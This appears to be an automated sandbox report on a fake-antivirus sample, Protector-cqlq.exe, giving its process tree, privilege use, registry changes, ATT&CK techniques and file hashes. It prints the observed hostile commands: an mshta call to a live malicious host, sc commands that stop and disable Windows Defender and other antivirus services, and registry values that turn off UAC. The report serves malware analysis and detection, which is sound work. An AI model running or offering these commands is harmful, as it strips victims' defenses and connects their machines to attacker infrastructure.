1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exeProtector-cqlq.exe

description	pid	process
Token: SeDebugPrivilege	1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Token: SeShutdownPrivilege	1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
Token: SeDebugPrivilege	1720	Protector-cqlq.exe
Token: SeShutdownPrivilege	1720	Protector-cqlq.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

Protector-cqlq.exe

pid process

1720 Protector-cqlq.exe
1720 Protector-cqlq.exe
1720 Protector-cqlq.exe
1720 Protector-cqlq.exe
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Protector-cqlq.exe

pid process

1720 Protector-cqlq.exe
1720 Protector-cqlq.exe
1720 Protector-cqlq.exe
1720 Protector-cqlq.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exeProtector-cqlq.exe

pid	process
1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe
1720	Protector-cqlq.exe

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exeProtector-cqlq.exe

description	pid	process	target process
PID 1588 wrote to memory of 1720	1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe	Protector-cqlq.exe
PID 1588 wrote to memory of 1720	1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe	Protector-cqlq.exe
PID 1588 wrote to memory of 1720	1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe	Protector-cqlq.exe
PID 1588 wrote to memory of 1720	1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe	Protector-cqlq.exe
PID 1588 wrote to memory of 1992	1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe	cmd.exe
PID 1588 wrote to memory of 1992	1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe	cmd.exe
PID 1588 wrote to memory of 1992	1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe	cmd.exe
PID 1588 wrote to memory of 1992	1588	5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe	cmd.exe
PID 1720 wrote to memory of 1212	1720	Protector-cqlq.exe	mshta.exe
PID 1720 wrote to memory of 1212	1720	Protector-cqlq.exe	mshta.exe
PID 1720 wrote to memory of 1212	1720	Protector-cqlq.exe	mshta.exe
PID 1720 wrote to memory of 1212	1720	Protector-cqlq.exe	mshta.exe
PID 1720 wrote to memory of 1296	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1296	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1296	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1296	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 996	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 996	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 996	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 996	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1028	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1028	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1028	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1028	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1648	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1648	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1648	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1648	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1476	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1476	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1476	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1476	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1084	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1084	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1084	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 1084	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 2044	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 2044	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 2044	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 2044	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 280	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 280	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 280	1720	Protector-cqlq.exe	sc.exe
PID 1720 wrote to memory of 280	1720	Protector-cqlq.exe	sc.exe

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

Processes:

Protector-cqlq.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	Protector-cqlq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-cqlq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-cqlq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-cqlq.exe

C:\Users\Admin\AppData\Local\Temp\5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe
"C:\Users\Admin\AppData\Local\Temp\5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa.exe"
1⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1588

C:\Users\Admin\AppData\Roaming\Protector-cqlq.exe
C:\Users\Admin\AppData\Roaming\Protector-cqlq.exe
2⤵
- UAC bypass
- Executes dropped EXE
- Sets file execution options in registry
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1720

C:\Windows\SysWOW64\mshta.exe
mshta.exe "http://galaint.onlinesecstats.info/?0=166&1=3&2=1&3=65&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=jcygevtfwp&14=1"
3⤵
- Modifies Internet Explorer settings
PID:1212

C:\Windows\SysWOW64\sc.exe
sc stop WinDefend
3⤵
- Launches sc.exe
PID:1296

C:\Windows\SysWOW64\sc.exe
sc stop AntiVirService
3⤵
- Launches sc.exe
PID:1084

C:\Windows\SysWOW64\sc.exe
sc config ekrn start= disabled
3⤵
- Launches sc.exe
PID:1476

C:\Windows\SysWOW64\sc.exe
sc config AntiVirSchedulerService start= disabled
3⤵
- Launches sc.exe
PID:280

C:\Windows\SysWOW64\sc.exe
sc config AntiVirService start= disabled
3⤵
- Launches sc.exe
PID:2044

C:\Windows\SysWOW64\sc.exe
sc config msmpsvc start= disabled
3⤵
- Launches sc.exe
PID:1648

C:\Windows\SysWOW64\sc.exe
sc stop msmpsvc
3⤵
- Launches sc.exe
PID:1028

C:\Windows\SysWOW64\sc.exe
sc config WinDefend start= disabled
3⤵
- Launches sc.exe
PID:996

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\5CD3C6~1.EXE" >> NUL
2⤵
PID:1992

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Bypass User Account Control

1

T1088

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

Impair Defenses

Install Root Certificate

Modify Registry

Credential Access

Discovery

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

1

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Protector-cqlq.exe
Filesize
1.8MB

MD5
043a1c1b7811cb6f4e065cc38344b929

SHA1
5d2559f9a3e05b9ab7b8c0c81f8f4371ca522492

SHA256
5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa

SHA512
f11dd788253b2ed6f39a7091f1462013d27d7620a493819dd69ad17eb4a85449654eb524aa09a0b3b1d674d3d5b3acf52badfdb5a109e3b018d818e6d4ee15d1

Download Submit
C:\Users\Admin\AppData\Roaming\Protector-cqlq.exe
Filesize
1.8MB

MD5
043a1c1b7811cb6f4e065cc38344b929

SHA1
5d2559f9a3e05b9ab7b8c0c81f8f4371ca522492

SHA256
5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa

SHA512
f11dd788253b2ed6f39a7091f1462013d27d7620a493819dd69ad17eb4a85449654eb524aa09a0b3b1d674d3d5b3acf52badfdb5a109e3b018d818e6d4ee15d1

Download Submit
\Users\Admin\AppData\Roaming\Protector-cqlq.exe
Filesize
1.8MB

MD5
043a1c1b7811cb6f4e065cc38344b929

SHA1
5d2559f9a3e05b9ab7b8c0c81f8f4371ca522492

SHA256
5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa

SHA512
f11dd788253b2ed6f39a7091f1462013d27d7620a493819dd69ad17eb4a85449654eb524aa09a0b3b1d674d3d5b3acf52badfdb5a109e3b018d818e6d4ee15d1

Download Submit
\Users\Admin\AppData\Roaming\Protector-cqlq.exe
Filesize
1.8MB

MD5
043a1c1b7811cb6f4e065cc38344b929

SHA1
5d2559f9a3e05b9ab7b8c0c81f8f4371ca522492

SHA256
5cd3c6f7a132d26bbdde1c082e1265b5c37b2b4ce7a6f283fc1a12cdce4fdffa

SHA512
f11dd788253b2ed6f39a7091f1462013d27d7620a493819dd69ad17eb4a85449654eb524aa09a0b3b1d674d3d5b3acf52badfdb5a109e3b018d818e6d4ee15d1

Download Submit
memory/280-82-0x0000000000000000-mapping.dmp

Download
memory/996-76-0x0000000000000000-mapping.dmp

Download
memory/1028-77-0x0000000000000000-mapping.dmp

Download
memory/1084-80-0x0000000000000000-mapping.dmp

Download
memory/1212-74-0x0000000000000000-mapping.dmp

Download
memory/1296-75-0x0000000000000000-mapping.dmp

Download
memory/1476-79-0x0000000000000000-mapping.dmp

Download
memory/1588-68-0x0000000000400000-0x00000000007C4000-memory.dmp

Filesize
3.8MB

Download
memory/1588-58-0x0000000000400000-0x00000000007C4000-memory.dmp

Filesize
3.8MB

Download
memory/1588-69-0x00000000002B0000-0x000000000030A000-memory.dmp

Filesize
360KB

Download
memory/1588-54-0x0000000075CF1000-0x0000000075CF3000-memory.dmp

Filesize
8KB

Download
memory/1588-55-0x0000000000400000-0x00000000007C4000-memory.dmp

Filesize
3.8MB

Download
memory/1588-65-0x0000000004100000-0x00000000044C4000-memory.dmp

Filesize
3.8MB

Download
memory/1588-56-0x00000000002B0000-0x000000000030A000-memory.dmp

Filesize
360KB

Download
memory/1588-57-0x00000000033A0000-0x0000000003610000-memory.dmp

Filesize
2.4MB

Download
memory/1588-64-0x0000000004100000-0x00000000044C4000-memory.dmp

Filesize
3.8MB

Download
memory/1588-59-0x00000000002B0000-0x000000000030A000-memory.dmp

Filesize
360KB

Download
memory/1648-78-0x0000000000000000-mapping.dmp

Download
memory/1720-62-0x0000000000000000-mapping.dmp

Download
memory/1720-73-0x0000000000310000-0x000000000036A000-memory.dmp

Filesize
360KB

Download
memory/1720-72-0x00000000033A0000-0x0000000003610000-memory.dmp

Filesize
2.4MB

Download
memory/1720-70-0x0000000000400000-0x00000000007C4000-memory.dmp

Filesize
3.8MB

Download
memory/1720-83-0x0000000000400000-0x00000000007C4000-memory.dmp

Filesize
3.8MB

Download
memory/1720-84-0x00000000033A0000-0x0000000003610000-memory.dmp

Filesize
2.4MB

Download
memory/1992-67-0x0000000000000000-mapping.dmp

Download
memory/2044-81-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads